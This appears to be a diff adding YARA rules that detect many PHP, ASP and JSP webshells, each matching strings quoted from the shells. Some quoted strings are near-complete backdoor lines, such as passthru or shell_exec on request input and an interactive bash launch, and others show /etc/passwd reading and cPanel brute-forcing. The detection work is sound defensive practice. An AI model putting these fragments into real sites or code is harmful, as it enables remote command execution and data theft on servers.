+		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
+		$s4 = "' Author: Maceo <maceo @ dogmile.com>" fullword
+		$s5 = "' -- Use a poor man's pipe ... a temp file -- '" fullword
+		$s6 = "' --------------------o0o--------------------" fullword
+		$s8 = "' File: CmdAsp.asp" fullword
+		$s11 = "<-- CmdAsp.asp -->" fullword
+		$s14 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+		$s16 = "Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
+		$s19 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+	condition:
+		4 of them
+}
+rule WebShell_NCC_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file NCC-Shell.php"
+		author = "Florian Roth"
+		hash = "64d4495875a809b2730bd93bec2e33902ea80a53"
+	strings:
+		$s0 = " if (isset($_FILES['probe']) and ! $_FILES['probe']['error']) {" fullword
+		$s1 = "<b>--Coded by Silver" fullword
+		$s2 = "<title>Upload - Shell/Datei</title>" fullword
+		$s8 = "<a href=\"http://www.n-c-c.6x.to\" target=\"_blank\">-->NCC<--</a></center></b><"
+		$s14 = "~|_Team .:National Cracker Crew:._|~<br>" fullword
+		$s18 = "printf(\"Sie ist %u Bytes gro" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_README {
+	meta:
+		description = "PHP Webshells Github Archive - file README.md"
+		author = "Florian Roth"
+		hash = "ef2c567b4782c994db48de0168deb29c812f7204"
+	strings:
+		$s0 = "Common php webshells. Do not host the file(s) in your server!" fullword
+		$s1 = "php-webshells" fullword
+	condition:
+		all of them
+}
+rule WebShell_backupsql {
+	meta:
+		description = "PHP Webshells Github Archive - file backupsql.php"
+		author = "Florian Roth"
+		hash = "863e017545ec8e16a0df5f420f2d708631020dd4"
+	strings:
+		$s0 = "$headers .= \"\\nMIME-Version: 1.0\\n\" .\"Content-Type: multipart/mixed;\\n\" ."
+		$s1 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
+		$s2 = "* as email attachment, or send to a remote ftp server by" fullword
+		$s16 = "* Neagu Mihai<neagumihai@hotmail.com>" fullword
+		$s17 = "$from    = \"Neu-Cool@email.com\";  // Who should the emails be sent from?, may "
+	condition:
+		2 of them
+}
+rule WebShell_AK_74_Security_Team_Web_Shell_Beta_Version {
+	meta:
+		description = "PHP Webshells Github Archive - file AK-74 Security Team Web Shell Beta Version.php"
+		author = "Florian Roth"
+		hash = "c90b0ba575f432ecc08f8f292f3013b5532fe2c4"
+	strings:
+		$s8 = "- AK-74 Security Team Web Site: www.ak74-team.net" fullword
+		$s9 = "<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'."
+		$s10 = "<b><font color=#83000>Execute system commands!</font></b>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_cpanel {
+	meta:
+		description = "PHP Webshells Github Archive - file cpanel.php"
+		author = "Florian Roth"
+		hash = "433dab17106b175c7cf73f4f094e835d453c0874"
+	strings:
+		$s0 = "function ftp_check($host,$user,$pass,$timeout){" fullword
+		$s3 = "curl_setopt($ch, CURLOPT_URL, \"http://$host:2082\");" fullword
+		$s4 = "[ user@alturks.com ]# info<b><br><font face=tahoma><br>" fullword
+		$s12 = "curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);" fullword
+		$s13 = "Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir"
+		$s20 = "<br><b>Please enter your USERNAME and PASSWORD to logon<br>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_accept_language {
+	meta:
+		description = "PHP Webshells Github Archive - file accept_language.php"
+		author = "Florian Roth"
+		hash = "180b13576f8a5407ab3325671b63750adbcb62c9"
+	strings:
+		$s0 = "<?php passthru(getenv(\"HTTP_ACCEPT_LANGUAGE\")); echo '<br> by q1w2e3r4'; ?>" fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_529 {
+	meta:
+		description = "PHP Webshells Github Archive - file 529.php"
+		author = "Florian Roth"
+		hash = "ba3fb2995528307487dff7d5b624d9f4c94c75d3"
+	strings:
+		$s0 = "<p>More: <a href=\"/\">Md5Cracking.Com Crew</a> " fullword
+		$s7 = "href=\"/\" title=\"Securityhouse\">Security House - Shell Center - Edited By Kin"
+		$s9 = "echo '<PRE><P>This is exploit from <a " fullword
+		$s10 = "This Exploit Was Edited By KingDefacer" fullword
+		$s13 = "safe_mode and open_basedir Bypass PHP 5.2.9 " fullword
+		$s14 = "$hardstyle = explode(\"/\", $file); " fullword
+		$s20 = "while($level--) chdir(\"..\"); " fullword
+	condition:
+		2 of them
+}
+rule WebShell_STNC_WebShell_v0_8 {
+	meta:
+		description = "PHP Webshells Github Archive - file STNC WebShell v0.8.php"
+		author = "Florian Roth"
+		hash = "52068c9dff65f1caae8f4c60d0225708612bb8bc"
+	strings:
+		$s3 = "if(isset($_POST[\"action\"])) $action = $_POST[\"action\"];" fullword
+		$s8 = "elseif(fe(\"system\")){ob_start();system($s);$r=ob_get_contents();ob_end_clean()"
+		$s13 = "{ $pwd = $_POST[\"pwd\"]; $type = filetype($pwd); if($type === \"dir\")chdir($pw"
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_tryag {
+	meta:
+		description = "PHP Webshells Github Archive - file tryag.php"
+		author = "Florian Roth"
+		hash = "42d837e9ab764e95ed11b8bd6c29699d13fe4c41"
+	strings:
+		$s1 = "<title>TrYaG Team - TrYaG.php - Edited By KingDefacer</title>" fullword
+		$s3 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\"; " fullword
+		$s6 = "$string = !empty($_POST['string']) ? $_POST['string'] : 0; " fullword
+		$s7 = "$tabledump .= \"CREATE TABLE $table (\\n\"; " fullword
+		$s14 = "echo \"<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUE"
+	condition:
+		3 of them
+}
+rule WebShell_dC3_Security_Crew_Shell_PRiV_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file dC3 Security Crew Shell PRiV.php"
+		author = "Florian Roth"
+		hash = "9077eb05f4ce19c31c93c2421430dd3068a37f17"
+	strings:
+		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
+		$s9 = "header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__)));" fullword
+		$s13 = "header(\"Content-type: image/gif\");" fullword
+		$s14 = "@copy($file,$to) or die (\"[-]Error copying file!\");" fullword
+		$s20 = "if (isset($_GET['rename_all'])) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_qsd_php_backdoor {
+	meta:
+		description = "PHP Webshells Github Archive - file qsd-php-backdoor.php"
+		author = "Florian Roth"
+		hash = "4856bce45fc5b3f938d8125f7cdd35a8bbae380f"
+	strings:
+		$s1 = "// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.c"
+		$s2 = "if(isset($_POST[\"newcontent\"]))" fullword
+		$s3 = "foreach($parts as $val)//Assemble the path back together" fullword
+		$s7 = "$_POST[\"newcontent\"]=urldecode(base64_decode($_POST[\"newcontent\"]));" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_spygrup {
+	meta:
+		description = "PHP Webshells Github Archive - file spygrup.php"
+		author = "Florian Roth"
+		hash = "12f9105332f5dc5d6360a26706cd79afa07fe004"
+	strings:
+		$s2 = "kingdefacer@msn.com</FONT></CENTER></B>\");" fullword
+		$s6 = "if($_POST['root']) $root = $_POST['root'];" fullword
+		$s12 = "\".htmlspecialchars($file).\" Bu Dosya zaten Goruntuleniyor<kingdefacer@msn.com>" fullword
+		$s18 = "By KingDefacer From Spygrup.org>" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Web_shell__c_ShAnKaR {
+	meta:
+		description = "PHP Webshells Github Archive - file Web-shell (c)ShAnKaR.php"
+		author = "Florian Roth"
+		hash = "3dd4f25bd132beb59d2ae0c813373c9ea20e1b7a"
+	strings:
+		$s0 = "header(\"Content-Length: \".filesize($_POST['downf']));" fullword
+		$s5 = "if($_POST['save']==0){echo \"<textarea cols=70 rows=10>\".htmlspecialchars($dump"
+		$s6 = "write(\"#\\n#Server : \".getenv('SERVER_NAME').\"" fullword
+		$s12 = "foreach(@file($_POST['passwd']) as $fed)echo $fed;" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Ayyildiz_Tim___AYT__Shell_v_2_1_Biz {
+	meta:
+		description = "PHP Webshells Github Archive - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.php"
+		author = "Florian Roth"
+		hash = "5fe8c1d01dc5bc70372a8a04410faf8fcde3cb68"
+	strings:
+		$s7 = "<meta name=\"Copyright\" content=TouCh By iJOo\">" fullword
+		$s11 = "directory... Trust me - it works :-) */" fullword
+		$s15 = "/* ls looks much better with ' -F', IMHO. */" fullword
+		$s16 = "} else if ($command == 'ls') {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Gamma_Web_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file Gamma Web Shell.php"
+		author = "Florian Roth"
+		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
+	strings:
+		$s4 = "$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];" fullword
+		$s8 = "### Gamma Group <http://www.gammacenter.com>" fullword
+		$s15 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword
+		$s20 = "my $command = $self->query('command');" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_aspydrv {
+	meta:
+		description = "PHP Webshells Github Archive - file aspydrv.php"
+		author = "Florian Roth"
+		hash = "3d8996b625025dc549d73cdb3e5fa678ab35d32a"
+	strings:
+		$s0 = "Target = \"D:\\hshome\\masterhr\\masterhr.com\\\"  ' ---Directory to which files"
+		$s1 = "nPos = InstrB(nPosEnd, biData, CByteString(\"Content-Type:\"))" fullword
+		$s3 = "Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1" fullword
+		$s17 = "If request.querystring(\"getDRVs\")=\"@\" then" fullword
+		$s20 = "' ---Copy Too Folder routine Start" fullword
+	condition:
+		3 of them
+}
+rule WebShell_JspWebshell_1_2_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file JspWebshell 1.2.php"
+		author = "Florian Roth"
+		hash = "184fc72b51d1429c44a4c8de43081e00967cf86b"
+	strings:
+		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
+		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
+		$s4 = "// String tempfilepath=request.getParameter(\"filepath\");" fullword
+		$s15 = "endPoint=random1.getFilePointer();" fullword
+		$s20 = "if (request.getParameter(\"command\") != null) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_g00nshell_v1_3 {
+	meta:
+		description = "PHP Webshells Github Archive - file g00nshell-v1.3.php"
+		author = "Florian Roth"
+		hash = "70fe072e120249c9e2f0a8e9019f984aea84a504"
+	strings:
+		$s10 = "#To execute commands, simply include ?cmd=___ in the url. #" fullword
+		$s15 = "$query = \"SHOW COLUMNS FROM \" . $_GET['table'];" fullword
+		$s16 = "$uakey = \"724ea055b975621b9d679f7077257bd9\"; // MD5 encoded user-agent" fullword
+		$s17 = "echo(\"<form method='GET' name='shell'>\");" fullword
+		$s18 = "echo(\"<form method='post' action='?act=sql'>\");" fullword
+	condition:
+		2 of them
+}
+rule WebShell_WinX_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file WinX Shell.php"
+		author = "Florian Roth"
+		hash = "a94d65c168344ad9fa406d219bdf60150c02010e"
+	strings:
+		$s4 = "// It's simple shell for all Win OS." fullword
+		$s5 = "//------- [netstat -an] and [ipconfig] and [tasklist] ------------" fullword
+		$s6 = "<html><head><title>-:[GreenwooD]:- WinX Shell</title></head>" fullword
+		$s13 = "// Created by greenwood from n57" fullword
+		$s20 = " if (is_uploaded_file($userfile)) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_PHANTASMA {
+	meta:
+		description = "PHP Webshells Github Archive - file PHANTASMA.php"
+		author = "Florian Roth"
+		hash = "cd12d42abf854cd34ff9e93a80d464620af6d75e"
+	strings:
+		$s12 = "\"    printf(\\\"Usage: %s [Host] <port>\\\\n\\\", argv[0]);\\n\" ." fullword
+		$s15 = "if ($portscan != \"\") {" fullword
+		$s16 = "echo \"<br>Banner: $get <br><br>\";" fullword
+		$s20 = "$dono = get_current_user( );" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_cw {
+	meta:
+		description = "PHP Webshells Github Archive - file cw.php"
+		author = "Florian Roth"
+		hash = "e65e0670ef6edf0a3581be6fe5ddeeffd22014bf"
+	strings:
+		$s1 = "// Dump Database [pacucci.com]" fullword
+		$s2 = "$dump = \"-- Database: \".$_POST['db'] .\" \\n\";" fullword
+		$s7 = "$aids = passthru(\"perl cbs.pl \".$_POST['connhost'].\" \".$_POST['connport']);" fullword
+		$s8 = "<b>IP:</b> <u>\" . $_SERVER['REMOTE_ADDR'] .\"</u> - Server IP:</b> <a href='htt"
+		$s14 = "$dump .= \"-- Cyber-Warrior.Org\\n\";" fullword
+		$s20 = "if(isset($_POST['doedit']) && $_POST['editfile'] != $dir)" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_include_w_shell {
+	meta:
+		description = "PHP Webshells Github Archive - file php-include-w-shell.php"
+		author = "Florian Roth"
+		hash = "1a7f4868691410830ad954360950e37c582b0292"
+	strings:
+		$s13 = "# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!" fullword
+		$s17 = "\"phpshellapp\" => \"export TERM=xterm; bash -i\"," fullword
+		$s19 = "else if($numhosts == 1) $strOutput .= \"On 1 host..\\n\";" fullword
+	condition:
+		1 of them
+}
+rule WebShell_mysql_tool {
+	meta:
+		description = "PHP Webshells Github Archive - file mysql_tool.php"
+		author = "Florian Roth"
+		hash = "c9cf8cafcd4e65d1b57fdee5eef98f0f2de74474"
+	strings:
+		$s12 = "$dump .= \"-- Dumping data for table '$table'\\n\";" fullword
+		$s20 = "$dump .= \"CREATE TABLE $table (\\n\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_PhpSpy_Ver_2006 {
+	meta:
+		description = "PHP Webshells Github Archive - file PhpSpy Ver 2006.php"
+		author = "Florian Roth"
+		hash = "34a89e0ab896c3518d9a474b71ee636ca595625d"
+	strings:
+		$s2 = "var_dump(@$shell->RegRead($_POST['readregname']));" fullword
+		$s12 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
+		$s19 = "$program = isset($_POST['program']) ? $_POST['program'] : \"c:\\winnt\\system32"
+		$s20 = "$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\\winnt\\backdoor.exe'"
+	condition:
+		1 of them
+}
+rule WebShell_ZyklonShell {
+	meta:
+		description = "PHP Webshells Github Archive - file ZyklonShell.php"
+		author = "Florian Roth"
+		hash = "3fa7e6f3566427196ac47551392e2386a038d61c"
+	strings:
+		$s0 = "The requested URL /Nemo/shell/zyklonshell.txt was not found on this server.<P>" fullword
+		$s1 = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" fullword
+		$s2 = "<TITLE>404 Not Found</TITLE>" fullword
+		$s3 = "<H1>Not Found</H1>" fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_myshell {
+	meta:
+		description = "PHP Webshells Github Archive - file myshell.php"
+		author = "Florian Roth"
+		hash = "5bd52749872d1083e7be076a5e65ffcde210e524"
+	strings:
+		$s0 = "if($ok==false &&$status && $autoErrorTrap)system($command . \" 1> /tmp/outpu"
+		$s5 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
+		$s15 = "<title>$MyShellVersion - Access Denied</title>" fullword
+		$s16 = "}$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTT"
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_lolipop {
+	meta:
+		description = "PHP Webshells Github Archive - file lolipop.php"
+		author = "Florian Roth"
+		hash = "86f23baabb90c93465e6851e40104ded5a5164cb"
+	strings:
+		$s3 = "$commander = $_POST['commander']; " fullword
+		$s9 = "$sourcego = $_POST['sourcego']; " fullword
+		$s20 = "$result = mysql_query($loli12) or die (mysql_error()); " fullword
+	condition:
+		all of them
+}
+rule WebShell_simple_cmd {
+	meta:
+		description = "PHP Webshells Github Archive - file simple_cmd.php"
+		author = "Florian Roth"
+		hash = "466a8caf03cdebe07aa16ad490e54744f82e32c2"
+	strings:
+		$s1 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
+		$s2 = "<title>G-Security Webshell</title>" fullword
+		$s4 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
+		$s6 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_go_shell {
+	meta:
+		description = "PHP Webshells Github Archive - file go-shell.php"
+		author = "Florian Roth"
+		hash = "3dd85981bec33de42c04c53d081c230b5fc0e94f"
+	strings:
+		$s0 = "#change this password; for power security - delete this file =)" fullword
+		$s2 = "if (!defined$param{cmd}){$param{cmd}=\"ls -la\"};" fullword
+		$s11 = "open(FILEHANDLE, \"cd $param{dir}&&$param{cmd}|\");" fullword
+		$s12 = "print << \"[kalabanga]\";" fullword
+		$s13 = "<title>GO.cgi</title>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_aZRaiLPhp_v1_0 {
+	meta:
+		description = "PHP Webshells Github Archive - file aZRaiLPhp v1.0.php"
+		author = "Florian Roth"
+		hash = "a2c609d1a8c8ba3d706d1d70bef69e63f239782b"
+	strings:
+		$s0 = "<font size='+1'color='#0000FF'>aZRaiLPhP'nin URL'si: http://$HTTP_HOST$RED"
+		$s4 = "$fileperm=base_convert($_POST['fileperm'],8,10);" fullword
+		$s19 = "touch (\"$path/$dismi\") or die(\"Dosya Olu" fullword
+		$s20 = "echo \"<div align=left><a href='./$this_file?dir=$path/$file'>G" fullword
+	condition:
+		2 of them
+}
+rule WebShell_webshells_zehir4 {
+	meta:
+		description = "Webshells Github Archive - file zehir4"
+		author = "Florian Roth"
+		hash = "788928ae87551f286d189e163e55410acbb90a64"
+		score = 55
+	strings:
+		$s0 = "frames.byZehir.document.execCommand(command, false, option);" fullword
+		$s8 = "response.Write \"<title>ZehirIV --> Powered By Zehir &lt;zehirhacker@hotmail.com"
+	condition:
+		1 of them
+}
+rule WebShell_zehir4_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file zehir4.asp.php.txt"
+		author = "Florian Roth"
+		hash = "1d9b78b5b14b821139541cc0deb4cbbd994ce157"
+	strings:
+		$s4 = "response.Write \"<title>zehir3 --> powered by zehir &lt;zehirhacker@hotmail.com&"
+		$s11 = "frames.byZehir.document.execCommand("
+		$s15 = "frames.byZehir.document.execCommand(co"
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_lostDC {
+	meta:
+		description = "PHP Webshells Github Archive - file lostDC.php"
+		author = "Florian Roth"
+		hash = "d54fe07ea53a8929620c50e3a3f8fb69fdeb1cde"
+	strings:
+		$s0 = "$info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'<br />';" fullword
+		$s4 = "header ( \"Content-Description: Download manager\" );" fullword
+		$s5 = "print \"<center>[ Generation time: \".round(getTime()-startTime,4).\" second"
+		$s9 = "if (mkdir($_POST['dir'], 0777) == false) {" fullword
+		$s12 = "$ret = shellexec($command);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_CasuS_1_5 {
+	meta:
+		description = "PHP Webshells Github Archive - file CasuS 1.5.php"
+		author = "Florian Roth"
+		hash = "7eee8882ad9b940407acc0146db018c302696341"
+	strings:
+		$s2 = "<font size='+1'color='#0000FF'><u>CasuS 1.5'in URL'si</u>: http://$HTTP_HO"
+		$s8 = "$fonk_kap = get_cfg_var(\"fonksiyonlary_kapat\");" fullword
+		$s18 = "if (file_exists(\"F:\\\\\")){" fullword
+	condition:
+		1 of them
+}
+rule WebShell_ftpsearch {
+	meta:
+		description = "PHP Webshells Github Archive - file ftpsearch.php"
+		author = "Florian Roth"
+		hash = "c945f597552ccb8c0309ad6d2831c8cabdf4e2d6"
+	strings:
+		$s0 = "echo \"[-] Error : coudn't read /etc/passwd\";" fullword
+		$s9 = "@$ftp=ftp_connect('127.0.0.1');" fullword
+		$s12 = "echo \"<title>Edited By KingDefacer</title><body>\";" fullword
+		$s19 = "echo \"[+] Founded \".sizeof($users).\" entrys in /etc/passwd\\n\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Cyber_Shell_cybershell_Cyber_Shell__v_1_0_ {
+	meta:
+		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
+		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
+		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
+	strings:
+		$s4 = " <a href=\"http://www.cyberlords.net\" target=\"_blank\">Cyber Lords Community</"
+		$s10 = "echo \"<meta http-equiv=Refresh content=\\\"0; url=$PHP_SELF?edit=$nameoffile&sh"
+		$s11 = " *   Coded by Pixcher" fullword
+		$s16 = "<input type=text size=55 name=newfile value=\"$d/newfile.php\">" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Ajax_PHP_Command_Shell_Ajax_PHP_Command_Shell_soldierofallah {
+	meta:
+		description = "PHP Webshells Github Archive - from files Ajax_PHP Command Shell.php, Ajax_PHP_Command_Shell.php, soldierofallah.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "fa11deaee821ca3de7ad1caafa2a585ee1bc8d82"
+		hash1 = "c0a4ba3e834fb63e0a220a43caaf55c654f97429"
+		hash2 = "16fa789b20409c1f2ffec74484a30d0491904064"
+	strings:
+		$s1 = "'Read /etc/passwd' => \"runcommand('etcpasswdfile','GET')\"," fullword
+		$s2 = "'Running processes' => \"runcommand('ps -aux','GET')\"," fullword
+		$s3 = "$dt = $_POST['filecontent'];" fullword
+		$s4 = "'Open ports' => \"runcommand('netstat -an | grep -i listen','GET')\"," fullword
+		$s6 = "print \"Sorry, none of the command functions works.\";" fullword
+		$s11 = "document.cmdform.command.value='';" fullword
+		$s12 = "elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST"
+	condition:
+		3 of them
+}
+rule WebShell_Generic_PHP_7 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Mysql interface v1.0.php, MySQL Web Interface Version 0.8.php, Mysql_interface_v1.0.php, MySQL_Web_Interface_Version_0.8.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "de98f890790756f226f597489844eb3e53a867a9"
+		hash1 = "128988c8ef5294d51c908690d27f69dffad4e42e"
+		hash2 = "fd64f2bf77df8bcf4d161ec125fa5c3695fe1267"
+		hash3 = "715f17e286416724e90113feab914c707a26d456"
+	strings:
+		$s0 = "header(\"Content-disposition: filename=$filename.sql\");" fullword
+		$s1 = "else if( $action == \"dumpTable\" || $action == \"dumpDB\" ) {" fullword
+		$s2 = "echo \"<font color=blue>[$USERNAME]</font> - \\n\";" fullword
+		$s4 = "if( $action == \"dumpTable\" )" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Small_Web_Shell_by_ZaCo_small_zaco_zacosmall {
+	meta:
+		description = "PHP Webshells Github Archive - from files Small Web Shell by ZaCo.php, small.php, zaco.php, zacosmall.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "b148ead15d34a55771894424ace2a92983351dda"
+		hash1 = "e4ba288f6d46dc77b403adf7d411a280601c635b"
+		hash2 = "e5713d6d231c844011e9a74175a77e8eb835c856"
+		hash3 = "1b836517164c18caf2c92ee2a06c645e26936a0c"
+	strings:
+		$s2 = "if(!$result2)$dump_file.='#error table '.$rows[0];" fullword
+		$s4 = "if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');" fullword
+		$s6 = "header('Content-Length: '.strlen($dump_file).\"\\n\");" fullword
+		$s20 = "echo('Dump for '.$db_dump.' now in '.$to_file);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Generic_PHP_8 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Macker's Private PHPShell.php, PHP Shell.php, Safe0ver Shell -Safe Mod Bypass By Evilc0der.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "fc1ae242b926d70e32cdb08bbe92628bc5bd7f99"
+		hash1 = "9ad55629c4576e5a31dd845012d13a08f1c1f14e"
+		hash2 = "c4aa2cf665c784553740c3702c3bfcb5d7af65a3"
+	strings:
+		$s1 = "elseif ( $cmd==\"file\" ) { /* <!-- View a file in text --> */" fullword
+		$s2 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
+		$s3 = "/* I added this to ensure the script will run correctly..." fullword
+		$s14 = "<!--    </form>   -->" fullword
+		$s15 = "<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\">" fullword
+		$s20 = "elseif ( $cmd==\"downl\" ) { /*<!-- Save the edited file back to a file --> */" fullword
+	condition:
+		3 of them
+}
+rule WebShell__PH_Vayv_PHVayv_PH_Vayv_klasvayv_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php, klasvayv.asp.php.txt"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
+		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
+		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
+		hash3 = "4f83bc2836601225a115b5ad54496428a507a361"
+	strings:
+		$s1 = "<font color=\"#000000\">Sil</font></a></font></td>" fullword
+		$s5 = "<td width=\"122\" height=\"17\" bgcolor=\"#9F9F9F\">" fullword
+		$s6 = "onfocus=\"if (this.value == 'Kullan" fullword
+		$s16 = "<img border=\"0\" src=\"http://www.aventgrup.net/arsiv/klasvayv/1.0/2.gif\">"
+	condition:
+		2 of them
+}
+rule WebShell_Generic_PHP_9 {
+	meta:
+		description = "PHP Webshells Github Archive - from files KAdot Universal Shell v0.1.6.php, KAdot_Universal_Shell_v0.1.6.php, KA_uShell 0.1.6.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "89f2a7007a2cd411e0a7abd2ff5218d212b84d18"
+		hash1 = "2266178ad4eb72c2386c0a4d536e5d82bb7ed6a2"
+		hash2 = "0daed818cac548324ad0c5905476deef9523ad73"
+	strings:
+		$s2 = ":<b>\" .base64_decode($_POST['tot']). \"</b>\";" fullword
+		$s6 = "if (isset($_POST['wq']) && $_POST['wq']<>\"\") {" fullword
+		$s12 = "if (!empty($_POST['c'])){" fullword
+		$s13 = "passthru($_POST['c']);" fullword
+		$s16 = "<input type=\"radio\" name=\"tac\" value=\"1\">B64 Decode<br>" fullword
+		$s20 = "<input type=\"radio\" name=\"tac\" value=\"3\">md5 Hash" fullword
+	condition:
+		3 of them
+}
+rule WebShell__PH_Vayv_PHVayv_PH_Vayv {
+	meta:
+		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
+		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
+		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
+	strings:
+		$s4 = "<form method=\"POST\" action=\"<?echo \"PHVayv.php?duzkaydet=$dizin/$duzenle"
+		$s12 = "<? if ($ekinci==\".\" or  $ekinci==\"..\") {" fullword
+		$s17 = "name=\"duzenx2\" value=\"Klas" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Generic_PHP_1 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Dive Shell 1.0 - Emperor Hacking Team.php, Dive_Shell_1.0_Emperor_Hacking_Team.php, SimShell 1.0 - Simorgh Security MGZ.php, SimShell_1.0_-_Simorgh_Security_MGZ.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "3b086b9b53cf9d25ff0d30b1d41bb2f45c7cda2b"
+		hash1 = "2558e728184b8efcdb57cfab918d95b06d45de04"
+		hash2 = "203a8021192531d454efbc98a3bbb8cabe09c85c"
+		hash3 = "b79709eb7801a28d02919c41cc75ac695884db27"
+	strings:
+		$s1 = "$token = substr($_REQUEST['command'], 0, $length);" fullword
+		$s4 = "var command_hist = new Array(<?php echo $js_command_hist ?>);" fullword
+		$s7 = "$_SESSION['output'] .= htmlspecialchars(fgets($io[1])," fullword
+		$s9 = "document.shell.command.value = command_hist[current_line];" fullword
+		$s16 = "$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $"
+		$s19 = "if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {" fullword
+		$s20 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword
+	condition:
+		5 of them
+}
+rule WebShell_Generic_PHP_2 {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, Loaderz WEB Shell.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash2 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash3 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
